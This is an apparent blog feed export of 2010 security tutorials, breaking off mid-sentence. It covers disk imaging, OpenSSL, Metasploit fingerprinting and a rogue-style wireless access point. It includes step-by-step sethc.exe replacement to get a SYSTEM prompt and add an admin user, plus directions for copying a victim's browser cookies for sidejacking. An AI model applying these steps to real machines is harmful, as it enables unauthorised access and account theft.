0);"&gt;# losetup /dev/loop0 /path/to/image&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fdisk -l /dev/loop0&lt;/span&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 242px; text-align: left;"&gt;Disk /dev/sdb: 8036 MB, 8036285952 bytes&lt;br /&gt;255 heads, 63 sectors/track, 977 &lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;cylinders&lt;/span&gt;&lt;br /&gt;Units = cylinders of 16065 * 512 = 8225280 bytes&lt;br /&gt;Disk identifier: 0x00000000&lt;br /&gt;&lt;br /&gt;Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;/dev/sdb1   *           1         976     7839698    b  W95 FAT32&lt;br /&gt;&lt;/pre&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;What we really want is the offset of the sector so we add the '-u' flag to fdisk&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# fdisk -ul /dev/loop0&lt;/span&gt;&lt;br /&gt;&lt;pre class="alt2" dir="ltr" style="border: 1px inset; margin: 0px; padding: 6px; overflow: auto; width: 640px; height: 242px; text-align: left;"&gt;Disk /dev/sdb: 8036 MB, 8036285952 bytes&lt;br /&gt;255 heads, 63 sectors/track, 977 cylinders, total 15695871 &lt;span style="color: rgb(255, 102, 0); font-weight: bold;"&gt;sectors&lt;/span&gt;&lt;br /&gt;Units = sectors of 1 * 512 = 512 bytes&lt;br /&gt;Disk identifier: 0x00000000&lt;br /&gt;&lt;br /&gt;Device Boot      Start         End      Blocks   Id  System&lt;br /&gt;/dev/sdb1   *          44    15679439     7839698    b  W95 FAT32&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;We then take the start of the partition that you want to edit 44 in this case and multiply it by 512 ie 512*44=22528&lt;br /&gt;&lt;br /&gt;then mount like this: &lt;span style="color: rgb(255, 0, 0);"&gt;# mount -o loop,offset=22528 /dev/loop0 /mnt/mountpoint&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-4602637665517750143?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/4602637665517750143/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/04/using-dd-or-dcflddfor-disk-imaging-and.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4602637665517750143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/4602637665517750143'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/04/using-dd-or-dcflddfor-disk-imaging-and.html' title='Using &apos;dd&apos; or &apos;dcfldd&apos;for disk imaging and backup'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1474343500414157419</id><published>2010-03-25T08:29:00.000-07:00</published><updated>2010-06-19T07:09:26.539-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='openssl'/><title type='text'>Getting started with openssl</title><content type='html'>According to its manpage, it is a cryptography toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security network protocols and related cryptography standards required by them. It is indeed a command line tool and allows you to create RSA and DSA keys, x.509 certificates, calculation of message digests, encryption and decryption of files with  optional ciphers, etc. As there are so many ways to use this tool, i will show some of its basic usages that one may find useful.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl -h &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;// for command switches&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# man openssl&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//Documentation of the tool&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl list-standard-commands&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;// list standard commands. Doesn't say what they do so you are better off using "man openssl"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl list-cipher-commands&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//list different symmetric ciphers you can use for encrytpion&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl list-message-digest-commands&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//lists different hashing algorithms you can use for data integrity checking&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# echo "password" | openssl md5&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//creates the md5 hash for the string password&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# echo "password" | openssl enc -md5 &lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;//does the same thing as previous example&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl bf -in myfile.txt -out myfile.txt.enc&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//encrypts the file "myfile.txt" using the blowfish cipher 'bf' to a new file 'myfile.txt.enc'. You can now delete the old file&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl enc -bf -in myfile.txt -out myfile.txt.enc&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt; //encrypts the file "myfile.txt" using the blowfish cipher 'bf' to a new file 'myfile.txt.enc'. Equivallent to the above command.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# openssl enc -bf  -d -in myfile.txt.enc -out myfile.txt&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//decrypts the file "myfile.txt.enc" using the blowfish cipher 'bf' and outputs the decrypted file to a new filename 'myfile.txt'.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold; color: rgb(255, 102, 0);"&gt;Using Public Key Cryptography&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# openssl genrsa -out private.key&lt;span style="color: rgb(51, 255, 255);"&gt; //Generates private key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# openssl rsa -pubout -in private.key -out public.key &lt;span style="color: rgb(51, 255, 255);"&gt;//generates public key from the private key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# openssl rsautl -encrypt -inkey public.key -pubin -in test.txt -out test.txt.pub &lt;span style="color: rgb(51, 255, 255);"&gt;//encrypt a file with public key. Note that you are limited to small file sizes&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;# openssl rsautl -decrypt -inkey private.key -in test.txt.pub -out test.txt &lt;span style="color: rgb(51, 255, 255);"&gt;//decrypts the file with the private key&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-1474343500414157419?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/1474343500414157419/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/03/getting-started-with-openssl.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1474343500414157419'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/1474343500414157419'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/03/getting-started-with-openssl.html' title='Getting started with openssl'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-2951121598898215067</id><published>2010-03-22T06:40:00.000-07:00</published><updated>2010-03-22T07:33:28.424-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='metasploit'/><title type='text'>Using Metasploit for OS fingerprinting</title><content type='html'>Metasploit is primarilly a framework for developing and testing exploits. It comes with a suite of supporting tools that aid in exploit development, including port scanners. We can use one of these scanners to scan for open ports and fingerprint Windows services as well as the OS type. Using the following commands we can quickly fingerprint the SMB port of 445 to determine the OS version.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;# ./msfconsole&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//launches the framework&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf&lt;/span&gt;&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;use auxiliary/scanner/portscan/syn&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf auxiliary(syn)&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;set the necessary options, using port 445 as the port&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf auxiliary(smb version)&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;[*] TCP OPEN 192.168.1.61:445&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;[*] Scanned 1 of 1 hosts (100% complete)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;[*] Auxiliary module execution completed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then based on your results, if port 445 is open on the host, use&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf&lt;/span&gt;&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;use auxiliary/scanner/smb/smb_version&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf auxiliary(smb version)&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;show options&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;set the rhosts option then run the auxiliary module:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;msf auxiliary(smb version)&lt;/span&gt;&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;run&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt;[*] 192.168.1.61 is runnnin Windows XP Service Pack 3(Language: English) (name:PC1) (domain:PC1)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt; [*] Scanned 1 of 1 hosts (100% complete)&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 102, 0);"&gt; [*] Auxiliary module execution completed&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As you can see, withing a few simple metasploit commands you can determine the OS type of a remote system. This however uses the SMB port of 445 and is a requirement for this experiment. Then are other ways to determine this information but this is one of the most reliable methods.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-2951121598898215067?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/2951121598898215067/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/03/using-metasploit-for-os-fingerprinting.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2951121598898215067'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/2951121598898215067'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/03/using-metasploit-for-os-fingerprinting.html' title='Using Metasploit for OS fingerprinting'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-6019890602009707574</id><published>2010-03-18T07:04:00.001-07:00</published><updated>2011-03-23T06:25:39.255-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Physical access'/><category scheme='http://www.blogger.com/atom/ns#' term='sethc.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='Privilegdge escalation'/><title type='text'>Physical access == priveledge escalation pt 2</title><content type='html'>&lt;div class="post-header"&gt;  &lt;/div&gt;  This is another method that i found out recently that allows one to obtain a command prompt at the logon screen with system priveleges. If you recall from one of my previous post, i did this same trick using the utilman.exe replacement method. It turns out that there is another exe that we can replace as well to accomplish this same trick, called "sethc.exe". You replace this with cmd.exe then reboot your computer. When you encounter the logon screen, hit the shift key five times and you should now be greeted with a command prompt with system priveleges.&lt;br /&gt;&lt;br /&gt;Quick notes:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Load up any linix OS&lt;/li&gt;&lt;li&gt;Mount the windows drive in a rw state: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;mount -t ntfs-3g /dev/sda1 /mnt/sda1&lt;/span&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Navigate to the Windows/System32 folder: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;cd /mnt/sda1/Windows/System32&lt;/span&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Rename sethc.exe : &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;mv sethc.exe sethc.bak&lt;/span&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Copy cmd.exe to the name of sethc.exe: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;cp cmd.exe sethc.exe&lt;/span&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;Sync the changes and flush buffers, Optional but safe:&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;/span&gt;&lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;Sync&lt;/span&gt;"&lt;/span&gt;&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Reboot Comp: &lt;span style="color: rgb(51, 255, 51);" class="Apple-style-span"&gt;"&lt;span&gt;reboot&lt;/span&gt;"&lt;/span&gt;&lt;/li&gt;&lt;li&gt;When on the logon screen hit the shift key 5 times and you should be presented with a command prompt with system priviledges. From here on you might wanna create a new user and add him to the administrators group&lt;br /&gt;&lt;/li&gt;&lt;/ol&gt;&lt;br /&gt;References/Good Reading:&lt;br /&gt;&lt;span&gt;&lt;a href="http://pentestit.com/2009/05/14/reset-administrator-password-windows/"&gt;Pentestit&lt;/a&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-6019890602009707574?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/6019890602009707574/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/03/physical-access-priveledge-escalation.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6019890602009707574'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/6019890602009707574'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/03/physical-access-priveledge-escalation.html' title='Physical access == priveledge escalation pt 2'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-7485470954526219563</id><published>2010-03-09T07:05:00.000-08:00</published><updated>2010-08-30T09:02:59.624-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='airbase-ng'/><category scheme='http://www.blogger.com/atom/ns#' term='access point'/><title type='text'>Turning your laptop into a wireless AP</title><content type='html'>I'm just gonna go over some simple code and tools that you can use to transform your laptop running linux into a wireless access point where wireless clients can connect to. The programs that i will be using are airmon-ng, airbase-ng, dhcpd-server and dnsmasq just to name a few. Other utilities will be used in my example here but they are mostly complementary tools that may not be deemed necessary.&lt;br /&gt;&lt;br /&gt;First we create a virual interface using airmon-ng&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;#airmon-ng start wlan0&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//this uses the wireless card as a prototype so to speak to create a virutal interface (mon0) that can operate in what is known as monitor mode&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;We then will put our new virtual interface down so we can change our mac address to something other than the original address.&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# ifconfig mon0 down&lt;/span&gt;&lt;/span&gt;  &lt;span style="color: rgb(51, 255, 255);"&gt;//pull interface down&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# macchanger -m 00:00:F0:0D:00:00 mon0&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//changes the mac address originally at mon0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# ifconfig mon0 up&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//brings the interface back up&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;We then will use the airbase-ng program to create yet another virtual interface that would have the ability to act as an AP. This interface operates in what is known as Master mode, where it has the ability to act as a synchronisation master for clients. I usually would use the xterm command to create a new window to execute the airbase-ng program as its output can be very useful as it will show the current clients attempting to authenticate and associate with your machine.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# xterm -bg red -bd blue -fg white -hold -geometry 96x25+0+0 -e airbase-ng -e "GoodAP" -c 6 -v mon0 &amp;amp;&lt;/span&gt;&lt;/span&gt; &lt;span style="color: rgb(51, 255, 255);"&gt;//uses mon0 interface to create a new virutual interface (at0 by default). Xterm allows the output of the airebase-ng command to be displayed in a new x-based window. Airbase-ng '-e' gives the ssid name, '-c' gives the channel number to broadcast on and -v is for more verbose output.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;A new virtual interface is now available, at0. This is the interface thats gonna respond to wireless client probe requests. At this stage it needs to be configured and given and ip address.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# ifconfig at0 10.0.0.1 netmask 255.255.255.0 up&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# ifconfig at0 mtu 1400 &lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Our access point with the name "GoodAP" should now be broadcasting and clients would be able see it. However we are not complete in setting up our AP. Our clients need to be able to get a IP address via dhcp server and be able to resolve dns requests via a dnsserver. You would need a dhcp.conf config file. You can find many examples on the web of simple configs.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;[dhcpd.conf]&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;authoritative;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;option domain-name-servers 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;default-lease-time 360;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;max-lease-time 720;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;subnet 10.0.0.0 netmask 255.255.255.0 {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  range 10.0.0.2 10.0.0.5;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  option subnet-mask 255.255.255.0;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  option routers 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  option broadcast-address 10.0.0.255;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;  option domain-name-servers 10.0.0.1;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 0);"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div&gt;Issuing the next two commands will take care of some permission issues when running the dhcpd server. Dhcpd server is run under the dhcpd user account, which do not have write permissions for the directory /var/run. To overcome this issue, simple do the following:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;touch /var/run/dhcpd.pid&lt;/span&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;chown dhcpd:dhcpd /var/run/dhcpd.pid&lt;/span&gt;&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;By issuing the above, you are now giving the server permissions to have the relevant access to its PID file that it attempts to create and write to.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Also&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# chown dhcpd {dhcpd.conf,dhcpd.leases}&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# chgrp dhcpd {dhcpd.conf,dhcpd.leases}&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Remember, you may have to do the same for the parent folder as well from which the script or command is being ran&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Start the dhcpd service:&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# dhcpd3 -cf dhcpd.conf -lf dhcpd.leases -f at0&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Note: You may get some errors relating to permissions and writing to the lease file. Simply change the user and group ownership of your leases file. You may also have to change the permissions of the directory as well. I made a directory specifically for my config and lease files and had to change the ownership permissions to the file and directory for everything to work fine.&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Since the dhcpd.conf file sets the clients up to use our ip as the DNS server, we can set up a simple DNS server to handle the requests. I used dnsmasq (apt-get install dnsmasq). It works straight off a fresh install with no configuration. It uses the its local/etc/resolv.conf to forward the requests to. So basically, it listens on port 53 and forwards the request to the servers listed in /etc/resolve.conf. It may also cache these lookups as well.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Start the simple dns cacheing server.&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# dnsmasq restart&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;You would need to set your kernel to forward mode to forward all packets not destined for it&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# echo 1 &gt; /proc/sys/net/ipv4/ip_forward&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The last thing we really need to do here is to set IP masqerading. It allows the synchronization between two networks with different IP address, like a NAT router.&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&lt;span class="Apple-style-span"  style="color:#33FF33;"&gt;# iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;With this setup, airbase-ng will set up the AP interface for you, its your duty to start the necessary dhcp and dns servers to automate client setups. Forwarding withing the kernel is crucial so the clients wont be succeptable to denial of service by the kernel and an all important ip masquerade command for synchronization between the wireless nic and ethernet nic on the laptop.&lt;br /&gt;&lt;br /&gt;The above is a basic overview of how this is done and may require an above average understanding of linux and servers. These are the basic commands that should get you up and going, although on your machine, there may be some things that need tweaking. Remember, everymachine is different and what might work for me may not work for you without little modifications on your system. Its very important to know what you are doing and what to expect from these tools as this knowledge would prove to be very valuable when you have to troubleshoot problems.&lt;br /&gt;&lt;span style="color: rgb(51, 255, 255);"&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5979048552011395433-7485470954526219563?l=aerokid240.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://aerokid240.blogspot.com/feeds/7485470954526219563/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://aerokid240.blogspot.com/2010/03/turning-your-laptop-into-wireless-ap.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7485470954526219563'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5979048552011395433/posts/default/7485470954526219563'/><link rel='alternate' type='text/html' href='http://aerokid240.blogspot.com/2010/03/turning-your-laptop-into-wireless-ap.html' title='Turning your laptop into a wireless AP'/><author><name>aerokid240</name><uri>http://www.blogger.com/profile/14269542820984174220</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5979048552011395433.post-1604876167903123349</id><published>2010-02-25T07:51:00.000-08:00</published><updated>2010-02-25T09:56:52.427-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='sidejacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Stealing cookies'/><title type='text'>More on cookies(sidejacking) and browsers</title><content type='html'>I spoke about sidejacking in recent posts and the advantage a hacker can gain with a users cookie. Cookies are used to authenticate users to a domain and cookies are stored locally somewhere on your computer. I wrote perl sniffers that can sniff the relevant cookies to pull of a sidejacking attack but its so much easier to just copy them to a thumb drive when you have physical access to the victims machine.&lt;br /&gt;&lt;br /&gt;In IE, cookies are stored as simple text files that can be open with notepad or wordpad for easy viewing. The location of the stored cookies from IE is in &lt;span style="color: rgb(255, 102, 0);"&gt;"c:\documents and settings\user_name\cookies"&lt;/span&gt;. Each text file represents a stored cookie. You cant just copy them onto your machine and hope to gain access to your victims account. There is an index.dat file that seems to be a very important file thats constantly in use and cant be opened while the operating system is running (this file contains the list of legit cookies that should be loaded in IE). However if you were to obtain those cookies, open them up in an editor and input them into your browser using a cookie editor, then you are just clicks away from pulling off a sidejacking attack.&lt;br /&gt;&lt;br /&gt;In firefox, the cookies are not stored as individual text files, but rather in a database file called &lt;span style="color: rgb(255, 102, 0);"&gt;"cookies.sqlite"&lt;/span&gt;. This file is located at &lt;span style="color: rgb(255, 102, 0);"&gt;"c:\documents and settings\user_name\application data\mozilla\firefox\profiles\xxxx.default". &lt;/span&gt;As it is a database file you will need a sqlite databse editor in order to read its contents. I use this free sqlite manager called &lt;span style="color: rgb(255, 102, 0);"&gt;SQLite Database Browser 2.0&lt;/span&gt;. For security reasons you wont be able to read this database file on its own. There is a &lt;span style="color: rgb(255, 102, 0);"&gt; "permissions.sqlite" &lt;/span&gt;file that also needs to be copied to the same directory as cookies.sqlite as well. So the cookies.sqlite and permissions.sqlite files are both needed in order to read the contents of the cookies.sqlite folder. Just copy both to the same folder together then you should be able to open them up in the sqlite browser program and read the cookie information.&lt;br /&gt;&lt;br /&gt;Now we know where the cookies are stored, what can we do from here?&lt;br /&gt;Well, if you have physical access to a users machine you can sneakily copy those cookie files to your thumb 